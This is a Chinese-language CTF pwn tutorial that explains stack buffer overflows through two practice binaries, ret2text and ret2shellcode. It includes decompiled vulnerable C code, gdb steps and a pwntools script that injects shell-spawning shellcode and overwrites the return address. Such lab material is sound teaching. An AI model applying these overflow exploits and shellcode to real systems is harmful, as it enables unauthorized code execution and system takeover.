1 C语言函数调用栈
32位下的函数栈结构。
运行过程。
2 ret2text
缓冲区溢出(Buffer overflow)
本质是向定长的缓冲区中写入了超长的数据,造成超出的数据覆写了合法内存区域
- 栈溢出(Stack overflow)
最常见、漏洞比例最高、危害最大的二进制漏洞
在 CTF PWN 中往往是漏洞利用的基础 - 堆溢出(Heap overflow)
堆管理器复杂,利用花样繁多
CTF PWN 中的常见题型 - Data段溢出
攻击效果依赖于 Data段 上存放了何种控制数据
篡改栈帧上的返回地址为程序中已有的后门函数。
首先,我们手中有这样的一个文件ret2text.
丢入IDA中,得到代码,其中有用的有三个函数。
int __cdecl main(int argc, const char **argv, const char **envp)
{
setbuf(stdin, 0);
setbuf(stdout, 0);
puts("Have you heard of buffer overflow?");
vulnerable();
puts("It seems that you know nothing about it ......");
return 0;
}
int vulnerable()
{
char buffer[8]; // [esp+8h] [ebp-10h] BYREF
gets(buffer);
return 0;
}
int get_shell()
{
system("/bin/sh");
return 0;
}
我们打开gdb,进行调试。
输入n跳过直到到达脆弱函数。
输入s进入函数。
查看栈。
明确需要输入的payload。
使用Python进行攻击,最后得到shell。
也可以编写脚本,逻辑是一样的。
3 ret2shellcode
pwntools生成shellcode。32位。
asm(shellcraft.sh())
64位
context.arch = "amd64"
shellcraft.amd64.sh()
我们将ret2shellcode放入IDA中。
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[100]; // [esp+1Ch] [ebp-64h] BYREF
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("No system for you this time !!!");
gets(s);
strncpy(buf2, s, 0x64u);
printf("bye bye ~");
return 0;
}
假设在服务端开起了aslr保护。
启用gdb动态调试。
动态调试结果和ida中结果有差别,我们以动态调试结果为准。
编写脚本:
from pwn import *
sh = process("./ret2shellcode")
shellcode = asm(shellcraft.sh())
buf2_addr = 0x804a080
sh.sendline(shellcode.ljust(112,b'A') + p32(buf2_addr))
sh.interactive()
攻击成功。